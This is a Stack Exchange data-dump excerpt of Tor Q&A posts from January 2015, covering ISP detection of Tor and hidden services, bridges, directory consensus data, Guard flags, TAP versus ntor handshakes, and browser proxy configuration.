  <row Id="4931" PostTypeId="1" CreationDate="2015-01-04T12:47:41.277" Score="3" ViewCount="972" Body="&lt;p&gt;Is my ISP able to see that I run a hidden service from the network traffic I make? &#xA;My ISP does not allow me to use Tor according to their Terms of Service. The hidden service will do nothing illegal but I am still worried about them shutting us down.&lt;/p&gt;&#xA;" OwnerUserId="138" OwnerDisplayName="user1079160" LastEditorUserId="923" LastEditDate="2015-01-07T07:38:51.803" LastActivityDate="2015-01-07T07:38:51.803" Title="Can my ISP see that I am operating a hidden service?" Tags="|onion-services|support|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4932" PostTypeId="2" ParentId="4931" CreationDate="2015-01-04T14:44:37.633" Score="3" Body="&lt;p&gt;Your ISP is able to figure out that you're using Tor from the network traffic you make. In particular they can analyze &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/AChildsGardenOfPluggableTransports#OrdinaryTor&quot; rel=&quot;nofollow&quot;&gt;ordinary Tor traffic for telltale fingerprints&lt;/a&gt;. If you live in a (relative to those less fortunate) free, fair, democratic nation, they really shouldn't be able to say you cannot use Tor. This is because ordinary Tor traffic uses &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n157&quot; rel=&quot;nofollow&quot;&gt;TLS for link authentication and encryption&lt;/a&gt;. Although Tor makes efforts to appear as TLS web traffic some differences are evident. The reason I mention free, and fair nations is because differentiation requires inspection. Your ISP cannot say you may not use Tor unless they can also put restrictions on TLS traffic in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things to consider&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They have to pay attention and analyze the traffic to figure that out but eventually they will figure it out. Sooner if they are attentive and later if they suffer from overloaded staff and cost reducing business structure. However, there are simpler ways that they can figure out that you are using Tor network. &lt;a href=&quot;https://atlas.torproject.org&quot; rel=&quot;nofollow&quot;&gt;The Tor IP addresses are public&lt;/a&gt;, so they can figure out you are using Tor just by checking the IP addresses that you use. They can check the available data as easily as you (for example by entering your guard's IP into Atlas). You should seriously consider the consequences that you may encounter and have a plan of action when (but not if) they figure out you are using Tor and running a hidden service.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your ISP may be enforcing a residential TOU that says you cannot run a server (restricting relay-only and exit-node traffic). They may also be enforcing a TOU that prevents copyright infringement (restricting exit-node traffic). They may not (&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&quot; rel=&quot;nofollow&quot;&gt;unless they're bad&lt;/a&gt;) restrict your use of Tor in client operation. Hidden services fall, largely, into this last category because your client will maintain some (egress/outgoing) circuits with your HS guards as the destination. This is the same type of behavior a Tor client will exhibit upon connecting. What this means is that if you use a residential connection and you can use Tor in client operation you can also run a hidden service without violating your ISP's TOU. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All this being said I would check again if your ISP TOU prevents Tor use as a client. Don't tell them you would like to run a hidden service, but rather, check for Tor client use. If they don't allow client use I would question how they handle other anonymity services. Do they also prevent web-proxy access? Do they block VPN connections? If they allow VPN connections this presents an interesting solution. You could connect to a VPN first and run Tor over the VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorDisplayName="user5341" LastEditDate="2015-01-04T19:48:06.933" LastActivityDate="2015-01-04T19:48:06.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4933" PostTypeId="2" ParentId="4929" CreationDate="2015-01-04T15:10:05.780" Score="1" Body="&lt;p&gt;No, these scripts most likely will not enable the site to see your IP address, but they can figure out the following information about you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You are using Tor network and your IP address is a Tor exit node.&lt;/li&gt;&#xA;&lt;li&gt;You are a human and not a robot. Robots still do not have enough artificial intelligence to act as humans in these type of tests. (but in near future they may be able to pass these type of tests).&lt;/li&gt;&#xA;&lt;li&gt;They may be able to run scripts to obtain other relevant information about your computer(hardware), and your software(your operating system, your fonts, etc.).&lt;/li&gt;&#xA;&lt;li&gt;They may pay special attention to you, if you make any misstep and disclose any information inadvertently, they may take advantage of that to de-anonymise you.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-04T15:32:06.887" LastActivityDate="2015-01-04T15:32:06.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4934" PostTypeId="2" ParentId="4744" CreationDate="2015-01-04T18:35:20.913" Score="0" Body="&lt;p&gt;I've been banned from TA as well for tangling with a bitchy Destination Expert. I've tried re-registering numerous times but you've gotten further than I have. I have learned and deduced that TA is using multiple identifiers to identify banned users. These may include Cookies in your browser(s), so called Flash Cookies or Local Stored Objects, your operating system version, your browser type and version, your Ip address or partial address from the block of IP numbers available to your ISP. Who knows what else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you formerly signed into TA with Facebook or Google you should unauthorize TA from interacting with them, and perhaps sign-out from them when you use TA.&lt;/p&gt;&#xA;" OwnerUserId="5458" LastEditorUserId="5458" LastEditDate="2015-01-04T18:44:38.707" LastActivityDate="2015-01-04T18:44:38.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4935" PostTypeId="2" ParentId="4220" CreationDate="2015-01-04T19:03:49.600" Score="0" Body="&lt;p&gt;You are censoring your internet, and then using Tor to get around it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need to be able to access hidden services, then you can set your browser to use Tor to connect but not for hostname resolution. However, this will expose your DNS traffic to your ISP (and DNS provider if not the same).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add:&lt;br&gt;&#xA;See here: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2013-November/031137.html&quot; rel=&quot;nofollow&quot;&gt;&quot;Tor does not use your local address resolving facilities because...&quot;&lt;/a&gt;&lt;br&gt;&#xA;Your best solution is probably to &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#MapAddress&quot; rel=&quot;nofollow&quot;&gt;use MapAddress directives in your torrc&lt;/a&gt; instead of using a hosts file.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2015-01-05T12:41:39.580" LastActivityDate="2015-01-05T12:41:39.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4936" PostTypeId="2" ParentId="4930" CreationDate="2015-01-04T21:20:46.320" Score="2" Body="&lt;p&gt;I tried to reproduce your problem with the latest Tails ISO. Then I saw &lt;a href=&quot;https://tails.boum.org/contribute/design/Time_syncing/&quot; rel=&quot;nofollow&quot;&gt;this in the Tails documentation&lt;/a&gt; and &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index23h2&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. Essentially your system time must be off due to your BIOS/UEFI and Tails cannot set it correctly. So while I couldn't reproduce the problem (because it would break some things) it seems evident that somehow, despite Tails's best effort, &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n1762&quot; rel=&quot;nofollow&quot;&gt;clock skew&lt;/a&gt; still exists. To connect to Tor you'll need to set the time manually or figure out why your BIOS/UEFI time is so skewed. Consider getting in touch with &lt;a href=&quot;https://tails.boum.org/support/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Tails support&lt;/a&gt; about why it's not working automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set the time manually you need to boot Tails and choose 'Yes' for more options, then specify a password. Open a terminal and use the following command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo date nnddhhmmyyyy.ss&lt;/code&gt;&#xA;where,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nn, is the 2 digit month&lt;/li&gt;&#xA;&lt;li&gt;dd, is the 2 digit day&lt;/li&gt;&#xA;&lt;li&gt;hh, is the 2 digit hour&lt;/li&gt;&#xA;&lt;li&gt;mm, is the 2 digit minute&lt;/li&gt;&#xA;&lt;li&gt;yyyy, is the 4 digit year&lt;/li&gt;&#xA;&lt;li&gt;ss, is the 2 digit seconds&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you've completed the command click the date/time bar at the top to see the current setting update. Notice you can also perform this task graphically by clicking the date/time bar, the edit button, the time settings button, the unlock button, followed by whatever adjustments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the time as accurately as possible then try loading Tor. You should now be able to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2015-01-04T21:20:46.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4939" PostTypeId="1" AcceptedAnswerId="4940" CreationDate="2015-01-05T08:54:59.397" Score="4" ViewCount="2345" Body="&lt;p&gt;Dear All Experts out there!&#xA;I am doing some researches about the Tor Network, and want to frequently download the consensus data from the Directory Authority Servers (let say 5 minutes each).&#xA;Thanks to Roya, I know exactly how many Directory authority servers there are in the network, and their IPs.&#xA;Today, I did read some research papers, there were some experts created tools to get the consensus data from those servers. But it seems to be quite long time ago, out of date, and cannot be used anymore.&#xA;I would be very grateful if anyone could tell me how or which tool should I use to get the consensus data from those Directory authority servers.&#xA;Thank you so much for reading my question.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="350" LastEditDate="2015-01-05T09:44:41.300" LastActivityDate="2017-08-03T23:40:27.700" Title="How can I get consensus data from Directory authority servers for research purpose?" Tags="|directory|consensus|server|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4940" PostTypeId="2" ParentId="4939" CreationDate="2015-01-05T09:41:59.683" Score="4" Body="&lt;p&gt;Near the top of this page: &lt;a href=&quot;https://consensus-health.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Consensus Health&lt;/a&gt;, in the &lt;a href=&quot;https://consensus-health.torproject.org/#signatures&quot; rel=&quot;nofollow&quot;&gt;Signatures&lt;/a&gt; section, you will find a 'consensus' (and 'vote') link for each Directory Authority.&lt;br&gt;&#xA;These link directly to http://&lt;em&gt;ip.of.the.relay&lt;/em&gt;:&lt;em&gt;dirport&lt;/em&gt;/tor/status-vote/current/consensus.  &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-05T09:41:59.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4941" PostTypeId="1" AcceptedAnswerId="6022" CreationDate="2015-01-05T10:01:39.993" Score="2" ViewCount="937" Body="&lt;p&gt;I understand how to configure the torrc config file in order to access internet through Tor bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the scenario is such even though my ISP allows Tor traffic I still do not want my ISP to &lt;strong&gt;easily&lt;/strong&gt; know I am using Tor. i.e. through IPs I’m connecting to that belong to directory authorities, Tor Relays and other Tor services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not mind my ISP suspecting of the ports used by me as long as traffic is not decryptable by them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to force Tor running on my computer to send data i use through Tor browser via the Tor bridge and the bridge only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="4990" LastEditDate="2015-01-05T10:13:33.687" LastActivityDate="2015-01-16T06:50:35.700" Title="How to force Tor to connect through a bridge" Tags="|tor-browser-bundle|configuration|bridge|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4942" PostTypeId="2" ParentId="4941" CreationDate="2015-01-05T11:14:04.930" Score="1" Body="&lt;p&gt;One way to do what you are looking for is to setup bridges and then block access to Directory authorities and/or other IP addresses in some manner in your system. This will force directory authorities and/or other IP addresses to connect via bridges. An example of how to block access to directory authorities and/or other IP addresses may be found in this question and answer: &lt;a href=&quot;https://tor.stackexchange.com/questions/4220/host-list-blocking&quot;&gt;Host List Blocking&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-05T11:21:05.877" LastActivityDate="2015-01-05T11:21:05.877" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4943" PostTypeId="1" AcceptedAnswerId="4944" CreationDate="2015-01-05T13:16:41.573" Score="6" ViewCount="817" Body="&lt;p&gt;I am running a Tor relay for 6 Months now.&lt;br&gt;&#xA;The first 3 months it was easy for me to get the Guard flag.&lt;br&gt;&#xA;But since then (3 months) (I didn't change the configuartion) only moria1 is voting for Guard. (Guard probability 0%)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 1 MB/s bandwidth advertised, I got Fast HSDir Running Stable V2Dir Valid Flags and I am running for ~60 days straight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there new requirements to be a Guard?&lt;/p&gt;&#xA;" OwnerUserId="5462" LastEditorUserId="923" LastEditDate="2015-01-05T14:26:37.000" LastActivityDate="2015-01-05T14:26:37.000" Title="No guard flag after 3rd month" Tags="|guard|flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4944" PostTypeId="2" ParentId="4943" CreationDate="2015-01-05T13:42:51.713" Score="5" Body="&lt;p&gt;Currently not every fast exit is also assigned the Guard flag. There was a change reported at &lt;a href=&quot;https://blog.torproject.org/blog/tor-weekly-news-%E2%80%94-july-30th-2014&quot;&gt;TWN of July, 30th 2014&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once directory authorities have upgraded, they will “assign the Guard flag to the fastest 25% of the network”. Some experiments showed that “for the current network, this results in about 1100 guards, down from 2500.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I'm correct the slowest guard currently has a bandwidth of 1.3 MB/s, so it is slightly faster than your server. If you could raise your advertised bandwidth to some value above it, you should get the guard flag.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-01-05T13:42:51.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4945" PostTypeId="1" AcceptedAnswerId="4949" CreationDate="2015-01-05T17:06:38.203" Score="3" ViewCount="290" Body="&lt;p&gt;Just wondering, which protocol, TAP or NTor is less computationally intensive for a relay to process and why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Rich&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="923" LastEditDate="2015-01-06T02:59:46.813" LastActivityDate="2015-01-06T02:59:46.813" Title="Which protocol has the better perfomance TAP or NTor" Tags="|circuit|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4946" PostTypeId="2" ParentId="4914" CreationDate="2015-01-05T17:53:47.913" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is this? Would other typically local IP reservations like 10.1.1.1 similarly not work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's correct. It doesn't work because it is a private address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you connect through Tor, you are effectively outside of your own network. So &lt;em&gt;you&lt;/em&gt; can't connect to your router for the same reason that &lt;em&gt;I&lt;/em&gt; can't connect to &lt;em&gt;your&lt;/em&gt; router.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that, Tor just flat out refuses to connect to private addresses. You should see these in your log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Jan 05 18:46:11.000 [warn] Rejecting SOCKS request for anonymous connection to private address [scrubbed].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As suggested by @user3423647, you can tell your browser to not use Tor for certain addresses or ranges, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost, 127.0.0.1, 192.168.0.0/24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-05T17:53:47.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4947" PostTypeId="2" ParentId="4751" CreationDate="2015-01-05T19:37:02.003" Score="0" Body="&lt;p&gt;Finally I've done it, and thought by posting it would help others to not do mistake that I've done. Now i think any CMS can be run with Tor, I was installing CMS with normal Firefox Browser and than run on Tor browser that's where Path's Issue comes in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in simple words CMS/Framework will also need to be setup/install via Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="5143" LastActivityDate="2015-01-05T19:37:02.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4948" PostTypeId="2" ParentId="4724" CreationDate="2015-01-05T20:01:28.567" Score="1" Body="&lt;p&gt;Dear just use previous version of IDMCC extension. like IDMCC 7.3.89 version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't use previous version of IDM, just use old version of IDMCC file.&#xA;the latest version of IDMCC is 7.3.91&lt;/p&gt;&#xA;" OwnerUserId="5463" LastEditorUserId="923" LastEditDate="2015-01-06T03:04:29.013" LastActivityDate="2015-01-06T03:04:29.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4949" PostTypeId="2" ParentId="4945" CreationDate="2015-01-05T23:20:20.250" Score="4" Body="&lt;p&gt;ntor offers reduced &lt;a href=&quot;https://en.wikipedia.org/wiki/Analysis_of_algorithms&quot; rel=&quot;noreferrer&quot;&gt;computational complexity&lt;/a&gt; for circuit setup compared to TAP. Tor circuits are setup &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n682&quot; rel=&quot;noreferrer&quot;&gt;one hop at a time&lt;/a&gt; with each link using &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n766&quot; rel=&quot;noreferrer&quot;&gt;TLS&lt;/a&gt;. Diffie-Hellman (DH) is the algorithm used for computing keys to be exchanged and is responsible for what we conceptually know as &lt;a href=&quot;https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange&quot; rel=&quot;noreferrer&quot;&gt;forward-secrecy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notable differences between TAP and ntor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n821&quot; rel=&quot;noreferrer&quot;&gt;Tor Authentication Protocol&lt;/a&gt; (TAP), the original/legacy handshake, will be used where ntor isn't supported.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generating a DH key is computationally expensive&lt;/li&gt;&#xA;&lt;li&gt;Need to generate DH public/private values, and perform exchange at each node, as the circuit is extended&lt;/li&gt;&#xA;&lt;li&gt;DH Keys are &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n436&quot; rel=&quot;noreferrer&quot;&gt;encrypted/decrypted with RSA at each node&lt;/a&gt; using onion-key&lt;/li&gt;&#xA;&lt;li&gt;An analysis of TAP can be found &lt;a href=&quot;http://www.freehaven.net/anonbib/cache/tap:pet2006.pdf&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n868&quot; rel=&quot;noreferrer&quot;&gt;ntor&lt;/a&gt; is the handshake added in 0.2.4.8-alpha. It will be used where consensus method is &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2177&quot; rel=&quot;noreferrer&quot;&gt;at least 16&lt;/a&gt; and an &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n448&quot; rel=&quot;noreferrer&quot;&gt;ntor public key&lt;/a&gt; is available.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;eliminates the use of RSA encryption-decryption from circuit setup&lt;/li&gt;&#xA;&lt;li&gt;uses &lt;a href=&quot;http://cr.yp.to/ecdh/curve25519-20060209.pdf&quot; rel=&quot;noreferrer&quot;&gt;Curve25519 to reduce DH computational complexity&lt;/a&gt; while also &lt;a href=&quot;http://www.cypherpunks.ca/~iang/pubs/ntor.pdf&quot; rel=&quot;noreferrer&quot;&gt;preserving forward-secrecy&lt;/a&gt; and offering timing-attack resistance&lt;/li&gt;&#xA;&lt;li&gt;enables &lt;em&gt;precomputation&lt;/em&gt; of values during idle cycles before they're needed&lt;/li&gt;&#xA;&lt;li&gt;uses &lt;em&gt;predistributed&lt;/em&gt; values (&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n895&quot; rel=&quot;noreferrer&quot;&gt;identity, ntor-onion&lt;/a&gt;) in computations&lt;/li&gt;&#xA;&lt;li&gt;reduces &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/216-ntor-handshake.txt#n131&quot; rel=&quot;noreferrer&quot;&gt;communication and computational complexity&lt;/a&gt; during circuit setup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2015-01-05T23:20:20.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4950" PostTypeId="2" ParentId="4923" CreationDate="2015-01-06T00:49:02.340" Score="1" Body="&lt;p&gt;It could be because your IP keeps changing and the server detects an attempt connect your chat session from multiple IP. It could also be that the server mod or admins are blocking you for using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a couple options if it's because your IP is changing&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set &lt;code&gt;TrackHostExits .&lt;/code&gt; or &lt;code&gt;TrackHostExits &lt;em&gt;host,.domain&lt;/em&gt;&lt;/code&gt; in your torrc. Now exits will be reused by tracking recent connections.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;code&gt;AllowDotExit 1&lt;/code&gt; in your torrc. Then choose an exit to use for this server address by specifying an exit in dot notation. &lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;code&gt;IsolateDestAddr&lt;/code&gt; isolation flag in your torrc to isolate streams by the destination address.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;code&gt;ExitNodes &lt;em&gt;node&lt;/em&gt;&lt;/code&gt; in your torrc to set a fixed exit. Not recommended because all traffic will then use the same exit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that if you specify an exit (as in 2, 4) it must allow the port needed for chat communication. See &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor's manual&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorDisplayName="user5341" LastEditDate="2015-01-06T00:58:57.140" LastActivityDate="2015-01-06T00:58:57.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4951" PostTypeId="2" ParentId="4939" CreationDate="2015-01-06T05:50:40.143" Score="3" Body="&lt;p&gt;You can easily fetch the consensus with...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/api/descriptor/remote.html&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/api/descriptor/remote.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/tutorials/mirror_mirror_on_the_wall.html&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/tutorials/mirror_mirror_on_the_wall.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For an example of a script that compares a couple authorities see...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/tutorials/examples/compare_flags.html&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/tutorials/examples/compare_flags.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That said, please don't hit the authorities every five minutes! Consensuses are generated hourly, so polling more frequently than that just adds load.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-01-06T05:50:40.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4952" PostTypeId="2" ParentId="4727" CreationDate="2015-01-06T08:16:36.847" Score="2" Body="&lt;p&gt;Looking at your log message, it appears that your connection to directory authorities are hindered. That is also why you can run Tor browser. Once the connection to Directory authorities are hindered, you can not start any new instances of Tor, but if you have older instances of Tor, it will work for a while beacuse it uses the cache. To solve this paticular problem there are some options, try them and verify which one best works for your situation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a bridge. This way if direct connection to directory authorities is not possible, the directory authorities try to connect using a bridge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Obfsproxy bridges. If the use of regular bridges are also hindered, then this is your next option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If The use of VPN service is allowed in your community, you may use that to connect to Tor. The preference is to use a free VPN so that you leave no money trail. The other advantage of this method is that your ISP or whoever is blocking your connection to the directory authorities would have difficulty figureing out you have connected to Tor. However, the VPN service you use would know that. Thus, it is best to choose a VPN service out of your area which is not under control or influence of your ISP or whoever is blocking your connection to directory authorities.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a Web proxy to connect to Tor. Use same precautions described in option 3.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may use any combinations of options 1 to 4. For example you may connect to following services in sequence: VPN1, VPN2, Web proxy1, Web proxy2, Tor.  you may even add a web proxy or VPN after Tor in addition to before Tor if you wish.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are also other ways, but, let us stick with the above methods for the purpose of keeping this article brief.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-07T08:41:44.110" LastActivityDate="2015-01-07T08:41:44.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4953" PostTypeId="1" AcceptedAnswerId="4954" CreationDate="2015-01-06T11:19:02.487" Score="1" ViewCount="648" Body="&lt;p&gt;I have downloaded and installed Tor. Now, I wanted to use Tor to visit some of the blocked websites that our government had mistakenly blocked. So, I changed the proxy settings in my Firefox to point at localhost:9150. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I check my IP address, it is masked, but I'm still not able to visit the blocked website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the Tor Browser Bundle, however, I am able to visit the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the difference in the settings in my Firefox and the Tor Browser??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: The blocked website I am trying to visit is github!! Yes, it was banned in India recently but soon the ban was lifted. My ISP is lazy though. They are still blocking it. &lt;/p&gt;&#xA;" OwnerUserId="5469" LastEditorUserId="350" LastEditDate="2015-01-06T11:33:19.310" LastActivityDate="2015-01-06T11:34:33.580" Title="Browser configured but still unable to unblock websites" Tags="|configuration|firefox|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4954" PostTypeId="2" ParentId="4953" CreationDate="2015-01-06T11:34:33.580" Score="1" Body="&lt;p&gt;It is possible that your ISP has just removed that site from their DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test this, see if you can access .onion sites with your Firefox? If you can with Tor Browser but not with your Firefox, then this is most likely it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you should set your browser to use the SOCKS proxy for hostname resolution as well:&lt;br&gt;&#xA;Set &lt;code&gt;network.proxy.socks_remote_dns&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;. (In about:config)&lt;br&gt;&#xA;(Same issue as this: &lt;a href=&quot;https://tor.stackexchange.com/questions/3420/hidden-services-using-manually-configured-browser&quot;&gt;Hidden services using manually configured browser&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-01-06T11:34:33.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4955" PostTypeId="2" ParentId="4928" CreationDate="2015-01-06T16:47:15.237" Score="1" Body="&lt;p&gt;I think the only way to do that is to run multiple Tor clients. Each with their own SOCKS port and their own exit node.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-06T16:47:15.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
